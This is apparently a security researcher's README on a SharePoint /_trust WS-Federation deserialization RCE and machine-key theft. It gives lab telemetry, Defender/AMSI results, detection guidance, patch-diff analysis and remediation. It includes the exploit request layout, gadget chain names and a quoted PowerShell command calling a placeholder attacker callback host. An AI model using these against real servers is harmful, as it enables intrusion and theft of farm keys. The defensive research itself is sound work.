
PoC, IOCs, and detection logic for the SharePoint /_trust WS-Federation BinaryFormatter deserialization chain. Lab reconstruction covering unauthenticated RCE, in-process machine key theft, and the artifacts each variant leaves behind. SharePoint 2016, 2019, and Subscription Edition. CVE-2026-50522, CVE-2026-45659, CVE-2026-56164, CVE-2026-58644.
/_trust: десериализация WS-Federation: PoC и заметки по обнаружениюЖивой разбор (GitHub Pages): https://sp-poc.wismansec.com/ (HTML-рендеринг этого документа).
Затронуты: SharePoint Server 2016, 2019 и Subscription Edition.
Реконструкция вторжения в SharePoint Server (Subscription Edition) в изолированной лаборатории, выполненная, чтобы (a) понять полные возможности атакующего, (b) определить, что защитнику следует искать, включая скрытное закрепление, и (c) поделиться PoC в помощь другим исследователям.
Только авторизованные исследования. Всё здесь выполнялось на изолированном, лично принадлежащем лабораторном оборудовании и учётных записях, против сборки, специально оставленной без исправлений для теста. Базовая проблема устранена вендором; установите актуальные обновления. Не запускайте это против систем, которые вам не принадлежат и на тестирование которых у вас нет явного разрешения. Значения машинных ключей, внутренние имена хостов/IP-адреса и callback-домены скрыты в тексте и примерных артефактах. Скриншоты SIEM не изменены и содержат реальные имена лаборатории; см. примечание в §4.
/_trustPOST /_trust/default.aspx (вход WS-Federation) с вредоносным SecurityContextToken запускает десериализацию BinaryFormatter в рабочем процессе SharePoint (w3wp.exe) и даёт удалённое выполнение кода от имени учётной записи пула веб-приложения./_trust обнаруживает и блокирует это; см. §5). Эти ключи позволяют атакующему подделывать токены __VIEWSTATE/auth, которые переживают установку исправлений./_trust — единственный артефакт, присутствующий во всех вариантах.SharePoint предоставляет конечную точку пассивного входа WS-Federation по адресу /_trust/default.aspx. Сформированный ответ входа (wa=wsignin1.0 + wresult=<RequestSecurityTokenResponse>) содержит SecurityContextToken, у которого элемент <Cookie> является потоком BinaryFormatter в base64, сжатым DEFLATE. На стороне сервера этот cookie распаковывается и десериализуется без ограничения типов, поэтому gadget-цепочка (через ysoserial.net) выполняет управляемый атакующим код внутри w3wp.exe.
Схема запроса (без аутентификации):
POST /_trust/default.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
wa=wsignin1.0&wctx=<url>&wresult=<RequestSecurityTokenResponse>...
<SecurityContextToken><Cookie>BASE64(DEFLATE(BinaryFormatter payload))</Cookie>...
Скрипты (санированные) в scripts/: параметризованный OOB RCE и двухэтапное извлечение ключей. Доставка полезной нагрузки использует PowerShell -EncodedCommand, поэтому многооператорные полезные нагрузки проходят через слой cmd.exe/транспорта без повреждений (без проблем с экранированием ;/&&).
Одна ферма SharePoint SE (сборка зафиксирована до исправления), учётная запись пула приложений LAB\sp_pool, PowerShell 5.1, Microsoft Defender включён с облачной защитой. Телеметрия (журналы событий Windows, журналы SharePoint, Defender for Endpoint) передавалась в nano, лёгкую SIEM-систему с открытым исходным кодом; на хосте атакующего запускался ysoserial.net; клиент interactsh предоставлял внеполосный слушатель. Адреса и домены скрыты в тексте; см. примечание о скриншотах в §4.
Каждая строка — одна реальная детонация; артефакты собраны из SIEM и внеполосного слушателя для каждого запуска.
Скриншоты не изменены. Они содержат реальные имена хостов и NetBIOS-имена лаборатории, которые просты и отличаются от санированных
SHAREPOINT01/LAB, используемых в тексте. Те же запуски, те же события, ничего не постановочно. Безопасные для рабочего окружения эквиваленты вartifacts/.
Эти результаты относятся к конфигурации AMSI по умолчанию (режим Balanced, /_trust не сканируется). При включённом сканировании тела запроса AMSI для /_trust (режим Full или целевой) каждая строка вместо этого блокируется на уровне запроса: HTTP 400, Exploit:Script/SpCookieExec.A, до выполнения (см. §5).

Все четыре задокументированные детонации, с 15:01 по 15:18 UTC, каждый дочерний процесс w3wp.exe работает от имени учётной записи пула. В трёх случаях из четырёх powershell.exe был запущен напрямую. Только запуск в 15:03:34 идёт через cmd.exe, и только он был обнаружен. Если расширить окно за пределы этих событий, в набор результатов попадут и более ранние итерации разработки того же утра, поэтому утверждение ограничено этими четырьмя запусками.

Обычный вызов: w3wp.exe → cmd.exe → powershell.exe, рядом conhost.exe. Именно на такую форму срабатывает Behavior:Win32/WebshellLauncher.A.

Вызов с -RawCmd, тот же примитив и та же полезная нагрузка, но с удалённым промежуточным cmd.exe. Defender не выдал ничего для этого запуска. Обнаружение, построенное на w3wp → cmd, полностью его пропускает.

Все события Defender в том же 25-минутном окне, в котором произошли четыре детонации. Все три относятся к единственному запуску через cmd.exe: два события malware_detected уровня Severe, затем malware_action_taken с действием Remove. Реагирование не обогнало beacon — тот завершился первым.
Ключевая командная строка, восстановленная дословно из Security 4688 (кодирование ≠ обход):
"C:\Windows\System32\cmd.exe" /c powershell.exe -NoProfile -NonInteractive -EncodedCommand <base64>
→ decodes to: iwr -UseBasicParsing 'http://<attacker-oast>/c'

Закодированная командная строка в том виде, в котором она отображается в SIEM. Это просто base64 от UTF-16LE, и ничего больше; base64 -d | iconv -f utf-16le -t utf-8 восстанавливает callback за один шаг. Кодирование — это не обфускация.
Два снимка ниже охватывают одно и то же 90-секундное окно, в течение которого были похищены машинные ключи фермы.

Без фильтров в окне 20 событий. Хост жив и передаёт телеметрию.

При фильтре по дочерним процессам w3wp.exe то же окно пусто. Ни процесса, ни события Defender, ни beacon. Ключи ушли через HTTP-ответ, и единственным артефактом на стороне хоста был сам запрос /_trust, который эта SIEM не собирала. Установка исправлений не отзывает похищенные ключи; выполните их ротацию.
Раскрытие через -Diag, перехваченное внеполосным слушателем (URL-декодировано):
{ "host": "SHAREPOINT01", "who": "LAB\\sp_pool", "v": "5.1.20348.558", "lm": "FullLanguage" }
Единственный признак, присутствующий во всех вариантах. Ищите его в первую очередь:
POST /_trust/default.aspx с телом wa=wsignin1.0 и wresult, содержащим RequestSecurityTokenResponse + SecurityContextToken/<Cookie>. Без аутентификации, часто с аномальным User-Agent. Базовый уровень по статусам ответа: легитимный трафик входа WS-Federation на эту конечную точку в основном возвращает HTTP 302; эксплойт возвращает другие статусы (200, 500, сброс соединения или 400, когда блокирует AMSI). Если на конечную точку приходится реальный объём входов, считайте ответ, отличный от 302, на POST /_trust/default.aspx аномалией. Сам по себе статус не подтверждает успех эксплойта; успешный запуск возвращал и 200, и сброс соединения.Признаки на основе процессов (только для вариантов RCE):
w3wp.exe, порождающий cmd.exe или powershell.exe напрямую. Вариант -RawCmd убирает промежуточный cmd.exe и обходит WebshellLauncher.A, поэтому не полагайтесь только на w3wp→cmd.powershell.exe -EncodedCommand под w3wp: декодируйте блок прямо из события 4688 (в состоянии покоя он не обфусцирован).w3wp.exe → whoami.exe (разведка) или дочерний conhost.exe.Два вывода, влияющих на решения при реагировании:
Behavior:Win32/WebshellLauncher.A и устранял её, в как минимум одном выполнении исходящий beacon, как наблюдалось, завершался до окончания реагирования. Относитесь к такому обнаружению как к возможному успешному callback и проверьте журналы DNS, прокси и исходящих соединений на предмет адреса callback в окне вокруг времени обнаружения.w3wp.exe и возвращает ключи в HTTP-ответе, поэтому единственное свидетельство на хосте — запрос POST /_trust/default.aspx и его ответ. Будет ли оно обнаружено, зависит от конфигурации сканирования тела запроса AMSI.MITRE ATT&CK: T1190 (эксплуатация публично доступного приложения) · T1059.001 (PowerShell) · T1552 (незащищённые учётные данные: машинные ключи) · T1550 (использование поддельных материалов аутентификации, после кражи).
Обе цепочки доставляют полезную нагрузку в теле запроса POST /_trust/default.aspx. Проверяет ли Microsoft Defender эту полезную нагрузку, определяется конфигурацией сканирования тела запроса AMSI для веб-приложения SharePoint. Непосредственно против этой фермы (SharePoint Server Subscription Edition, Microsoft Defender) были протестированы три конфигурации:
| Конфигурация сканирования тела запроса AMSI | Результат |
|---|---|
Режим Balanced, /_trust/default.aspx отсутствует в списке целевых конечных точек (по умолчанию) | тело запроса не сканируется; обе цепочки выполняются; Defender не обнаруживает |
| Режим Balanced, добавлен как целевая конечная точка |
В конфигурации по умолчанию тело запроса не проверяется, поэтому и RCE, и раскрытие машинных ключей выполняются полностью и не вызывают срабатываний AMSI. В каждой из конфигураций со сканированием запрос отклоняется с HTTP 400 до десериализации, рабочий процесс не создаётся, и Defender фиксирует:
| Поле | Значение |
|---|
Поскольку запрос блокируется до выполнения любого кода, дочерний процесс не создаётся и события создания процессов Security 4688 не формируются ни для одной из цепочек. Вариант RCE, запускающий powershell.exe напрямую (без промежуточного cmd.exe), блокируется точно так же.
Конфигурация (SharePoint Management Shell, для каждого веб-приложения):
$wa = Get-SPWebApplication https://<webapp>
$wa.AMSIBodyScanMode = 2 # Full: scan all endpoints
# or keep Balanced mode and scan this endpoint only:
$wa.AddAMSITargetedEndpoints('/_trust/default.aspx', 1)
$wa.Update(); iisreset
Set-SPMachineKey / обновите machineKey в web.config + IISReset) на любой ферме, которой потенциально достигли. Исправление останавливает RCE, но не отзывает уже похищенные ключи; ротация лишает атакующего возможности подделывать FedAuth / SecurityContextToken / __VIEWSTATE для закрепления.POST /_trust/default.aspx. Легитимный вход WS-Federation также обращается к этой конечной точке с wa=wsignin1.0, поэтому ориентируйтесь на специфичную для эксплойта структуру, а не только на конечную точку: wresult, чей токен является <SecurityContextToken> с base64-<Cookie> (пространство имён ; при легитимном входе вместо этого передаётся подписанное SAML-утверждение), вместе с ответом, отличным от 302 (200/500/400 или сброс), и скриптовым/аномальным User-Agent. Извлечение ключей отправляет два таких POST подряд. Если они присутствуют, считайте ключи скомпрометированными.Статический анализ исправления вендора подтверждает механизм и окончательно отвечает на вопрос, нужны ли RCE похищенные машинные ключи: нет. Метод: бинарный diff исправлений Microsoft.SharePoint.IdentityModel.dll между июньским CU (KB5002873, 16.0.19725.20384) и июльским CU (KB5002882, 16.0.19725.20434); декомпиляция и сравнение, только для чтения.
Эксплуатируемый путь чтения — SPFederationAuthenticationModuleV2.OnAuthenticateRequest → SPSessionSecurityTokenHandlerV2 (подкласс System.IdentityModel.Tokens.SessionSecurityTokenHandler). Изменение:
Интерпретация. До исправления цепочка преобразований состояла только из deflate, без шифрования и без преобразования MAC/подписи, привязанного к машинному ключу. Базовый ReadToken применяет преобразования и десериализует значение cookie, поэтому подделанный токен распаковывается и десериализуется без проверки машинного ключа; гаджет срабатывает без ValidationKey/DecryptionKey (не зависит от ключа). Исправление удаляет сток (преобразование и ReadToken выбрасывают исключение), а не добавляет проверку подписи/дешифрования, что подтверждает: ключевого ограничителя, который нужно было бы исправить, не было.
Следствие. Раскрытие машинных ключей — это отдельная цель для закрепления (подделка FedAuth / SecurityContextToken / __VIEWSTATE), а не предварительное условие для RCE; само извлечение ключей — это RCE по тому же пути, выполняемое до того, как украден хотя бы один ключ.
В том же июльском CU поставляется второе, не связанное с этим ужесточение: проверка подписи JWT actor-токена в SPJsonWebSecurityTokenHandlerV2 (RequireSignedTokens false→true, новый VerifyActorTokenSignature), отдельный путь actor-токенов OAuth / server-to-server, а не путь сессионных токенов WS-Federation, рассмотренный здесь.
Применение исправления. Исправление — это июльский CU (KB5002882): он заменяет преобразование cookie только с deflate на то, которое выбрасывает исключение, удаляя сток. После его установки убедитесь, что ни одна настройка фермы не откатывает и не обходит его. Установка SessionCookieTransformProtectionEnabled в false возвращает cookie сессионного токена к уязвимому преобразованию только с deflate (повторно открывая RCE и извлечение ключей), а отладочный флаг DisableActorTokenSignatureValidation повторно открывает отдельный обход подписи JWT actor-токена, ужесточённый в том же обновлении.
README.md – this document
scripts/ – sanitized PoC scripts (OOB RCE + machine-key dump)
detection/ – hunt queries / IOC list
artifacts/ – redacted example artifacts (process trees, Defender events, beacons)
LICENSE, DISCLAIMER.md
| Цепочка | Гаджет | Результат | Канал вывода |
|---|
| OOB RCE | TypeConfuseDelegate → -EncodedCommand PowerShell | выполнение кода от имени учётной записи пула | внеполосно (beacon HTTP/DNS) |
| Раскрытие машинных ключей | ActivitySurrogateDisableTypeCheck → ActivitySurrogateSelectorFromFile (компилирует KeyDump.cs внутри процесса) | извлекает ValidationKey/DecryptionKey | непосредственно в HTTP-ответе |
| Способ вызова | Дерево процессов (от LAB\sp_pool, High) | Defender | Внеполосный beacon | Основные артефакты |
|---|
| OOB RCE, по умолчанию | w3wp.exe → cmd.exe → powershell.exe → conhost.exe | Behavior:Win32/WebshellLauncher.A (EID 1116 — обнаружение / 1117 — удаление) | дошёл (гонка) | дерево событий 4688; Defender 1116/1117; POST /_trust |
OOB RCE, -RawCmd | w3wp.exe → powershell.exe → conhost.exe (без cmd) | нет | дошёл (DNS+HTTP) | дерево событий 4688; POST /_trust; beacon |
OOB RCE, -DropFile | w3wp.exe → powershell.exe | нет | дошёл | запись файла в …\TEMPLATE\LAYOUTS\ (нет в журнале аудита доступа к объектам) |
OOB RCE, -Diag | w3wp.exe → powershell.exe → whoami.exe | нет | дошёл | экфильтрация данных об окружении: {host, whoami, PSver, LanguageMode} |
| Извлечение машинных ключей | (нет, внутри процесса) | нет | (нет) | только POST /_trust + аномальный ответ, содержащий ключи |
/_trust/default.aspx| тело запроса сканируется; запрос блокируется |
| Режим Full (сканируются все конечные точки) | тело запроса сканируется; запрос блокируется |
| Угроза | Exploit:Script/SpCookieExec.A (ID 2147969862) |
| Серьёзность / категория | Severe / Эксплойт |
| Источник обнаружения | AMSI |
| Действие | Карантин |
| Процесс | C:\Windows\System32\inetsrv\w3wp.exe |
http://schemas.microsoft.com/ws/2006/05/security__VIEWSTATE / аномальной аутентификации после даты первого обнаружения./_trust (режим Full или добавьте /_trust/default.aspx как целевую конечную точку в режиме Balanced; см. §5). Это блокирует и RCE, и извлечение ключей на уровне запроса, до выполнения.| Июнь (уязвимый) | Июль (исправленный) |
|---|
| Цепочка преобразований cookie | s_Transforms = { new DeflateCookieTransform() } (только deflate) | s_Transforms = { new NotSupportedCookieTransform() } (Decode/Encode выбрасывают исключение) |
Переопределения ReadToken | нет (наследует базовый ReadToken) | ReadToken(XmlReader, SecurityTokenResolver), ReadToken(XmlReader), ReadToken(string) — все выбрасывают NotSupportedException |